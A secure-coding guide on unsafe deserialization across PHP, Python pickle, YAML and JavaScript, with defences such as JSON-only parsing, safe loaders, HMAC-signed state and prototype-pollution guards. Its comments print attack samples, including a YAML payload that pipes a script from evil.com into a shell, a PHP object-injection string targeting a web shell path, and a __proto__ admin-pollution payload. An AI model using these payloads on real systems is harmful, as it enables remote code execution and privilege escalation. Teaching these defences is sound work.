Unsafe Deserialization
Turning attacker-supplied bytes back into objects, and letting the process run code on the way.
Deserialization becomes a vulnerability when the format can express behaviour rather than only data. If reconstructing an object can invoke a constructor, a magic method, or a resolver, an attacker who controls the bytes controls the process.
The dangerous formats
| Format | Risk |
|---|---|
| Java serialization | gadget chains → RCE |
Python pickle | executes by design — never on untrusted input |
PHP unserialize() | object injection via magic methods |
Ruby Marshal | gadget chains |
| YAML with type tags | !!python/object, !ruby/object → RCE |
.NET BinaryFormatter | deprecated for exactly this reason |
| JSON | data only — safe by construction |
The rule
Use JSON for anything that crosses a trust boundary. It cannot express types, constructors or references, so there is nothing to exploit. That constraint is the feature.
YAML deserves a specific warning
YAML looks like a config format and is often used for user-supplied configuration. Full YAML supports type tags that instantiate arbitrary classes. Always use the safe loader — yaml.safe_load in Python, Yaml::parse without object support in PHP, js-yaml's default schema in Node — and never the one that resolves types.
The JSON-adjacent risks
JSON itself is safe, but what you do with it may not be:
- Prototype pollution.
__proto__in a parsed object can poisonObject.prototypein JavaScript, changing behaviour everywhere. - Type confusion. A field you assumed was a string arrives as an object — the NoSQL injection class.
- Depth and size. A deeply nested document exhausts the parser.
If you must accept a rich format
Sign it. If a serialized blob has to round-trip through a client — a cursor, a resume token, a state parameter — attach an HMAC and verify before deserialising. Better still, store the state server-side and hand out an opaque id.
Example
<?php
// ❌ PHP object injection: unserialize() on client data
$prefs = unserialize($_COOKIE['prefs']);
// The attacker crafts a serialized object of ANY class the app can load.
// Its __destruct / __wakeup / __toString then runs with their data in it.
// O:8:"FileLog":1:{s:4:"path";s:22:"/var/www/html/shell.php";}
// ✅ JSON: data only, no classes, nothing to invoke
$prefs = json_decode($_COOKIE['prefs'], true, 8, JSON_THROW_ON_ERROR);
if (!is_array($prefs)) { $prefs = []; }
// ✅ And validate it — decoded JSON is still untrusted input
$theme = in_array($prefs['theme'] ?? '', ['light','dark'], true)
? $prefs['theme'] : 'light';
$locale = preg_match('/^[a-z]{2}(-[A-Z]{2})?$/', $prefs['locale'] ?? '')
? $prefs['locale'] : 'en';When to use it
- A PHP application is compromised through a serialized preferences cookie that instantiated a class with a destructive __destruct method.
- A Python service accepting a pickled cursor is turned into remote code execution by a crafted pagination token.
- A YAML config upload feature is exploited with a type tag until the loader is switched to the safe schema.
More examples
Signed state instead of trusted deserialization
Validating the shape after verifying the signature is not redundant: the signature proves you produced it, not that a code change has not altered what you expect.
import { createHmac, timingSafeEqual } from 'crypto';
// Some state genuinely has to round-trip through the client: a pagination
// cursor, a wizard step, an OAuth state. Two safe ways to do it.
// ── Option A: sign it, and verify before parsing ──────────────────────
export function packState(obj, ttlSeconds = 900) {
const payload = Buffer.from(JSON.stringify({
...obj,
exp: Math.floor(Date.now() / 1000) + ttlSeconds,
})).toString('base64url');
const sig = createHmac('sha256', STATE_SECRET).update(payload).digest('base64url');
return `${payload}.${sig}`;
}
export function unpackState(token) {
const [payload, sig] = String(token).split('.');
if (!payload || !sig) throw new BadRequestError('malformed_state');
// Verify FIRST. Never parse anything you have not authenticated.
const expected = createHmac('sha256', STATE_SECRET).update(payload).digest('base64url');
const a = Buffer.from(sig), b = Buffer.from(expected);
if (a.length !== b.length || !timingSafeEqual(a, b)) {
throw new BadRequestError('invalid_state');
}
const decoded = JSON.parse(Buffer.from(payload, 'base64url').toString('utf8'));
if (decoded.exp * 1000 < Date.now()) throw new BadRequestError('expired_state');
// Still validate the SHAPE — a signature proves origin, not correctness.
return cursorSchema.parse(decoded);
}
// ── Option B (better): keep the state server-side ─────────────────────
export async function createCursor(state) {
const id = crypto.randomUUID();
await redis.set(`cursor:${id}`, JSON.stringify(state), 'EX', 900);
return id; // the client holds an opaque uuid
}
export async function readCursor(id) {
if (!/^[0-9a-f-]{36}$/.test(String(id))) throw new BadRequestError('bad_cursor');
const raw = await redis.get(`cursor:${id}`);
if (!raw) throw new BadRequestError('expired_cursor');
return JSON.parse(raw); // we wrote it, so we know its shape
}
// Option B is strictly safer and usually simpler. Reach for A only when you
// genuinely cannot hold server-side state.YAML, and the loader that matters
Setting the schema explicitly rather than relying on a library default is worth the extra line — defaults change between major versions and between libraries.
// YAML is common for user-supplied configuration, and full YAML can
// instantiate objects.
// ── Python ────────────────────────────────────────────────────────────
// ❌ yaml.load(user_input) ← executes type tags
// ❌ yaml.load(user_input, Loader=yaml.Loader)
// ✅ yaml.safe_load(user_input) ← data only
//
// The payload:
// !!python/object/apply:os.system ["curl evil.com/x.sh | sh"]
// ── Node (js-yaml) ────────────────────────────────────────────────────
import yaml from 'js-yaml';
// js-yaml v4's default load() uses the safe schema — but be explicit,
// because older code and other libraries do not.
const config = yaml.load(userInput, {
schema: yaml.CORE_SCHEMA, // no custom types, no functions
json: true, // duplicate keys throw rather than silently win
onWarning: (w) => logger.warn({ w }, 'yaml warning'),
});
// Bound it before parsing, and validate after.
if (userInput.length > 64 * 1024) throw new BadRequestError('config too large');
const parsed = configSchema.parse(config);
// ── PHP ───────────────────────────────────────────────────────────────
// ❌ Yaml::parse($input, Yaml::PARSE_OBJECT | Yaml::PARSE_OBJECT_FOR_MAP)
// ✅ Yaml::parse($input) ← no object support
// ── The general rule ──────────────────────────────────────────────────
// Ask of any format: can it express a TYPE or a CALL?
// JSON → no → safe to parse untrusted input
// YAML safe mode → no → safe
// YAML full → YES → never on untrusted input
// pickle/Marshal → YES → never, at all
// XML with DTDs → YES (entities) → disable them; see the XXE lessonPrototype pollution: JSON's own footgun
Using Object.keys rather than for..in is the subtle half of fix 4: for..in walks inherited properties, which is how the pollution propagates further.
// JSON cannot instantiate classes, but in JavaScript a key called __proto__
// can still change how every object in the process behaves.
// The payload
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
// A naive deep merge propagates it
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] ??= {};
merge(target[key], source[key]); // ← writes through to the prototype
} else {
target[key] = source[key];
}
}
return target;
}
merge({}, payload);
// Now, everywhere in the process:
console.log({}.isAdmin); // true
if (someUnrelatedObject.isAdmin) { /* ← runs for every object */ }
// ── Fix 1: strip the poisoning keys during parse ──────────────────────
const safe = JSON.parse(raw, (key, value) =>
['__proto__', 'constructor', 'prototype'].includes(key) ? undefined : value);
// ── Fix 2: reject unknown keys with a strict schema ───────────────────
const parsed = z.object({ name: z.string() }).strict().parse(raw);
// ── Fix 3: a null-prototype object has nothing to pollute ─────────────
const config = Object.assign(Object.create(null), parsed);
// ── Fix 4: guard the merge itself ─────────────────────────────────────
const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype']);
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
if (FORBIDDEN.has(key)) continue;
if (source[key] && typeof source[key] === 'object') {
target[key] = safeMerge(target[key] ?? {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Object.keys ignores __proto__ as an own key, which is why iterating keys
// rather than using for..in is part of the fix.
// ── Fix 5: freeze the prototype at startup ────────────────────────────
Object.freeze(Object.prototype); // heavy-handed; breaks some libraries
// This is worth checking in your dependencies too — lodash, minimist and
// several config libraries have all shipped this bug.
Discussion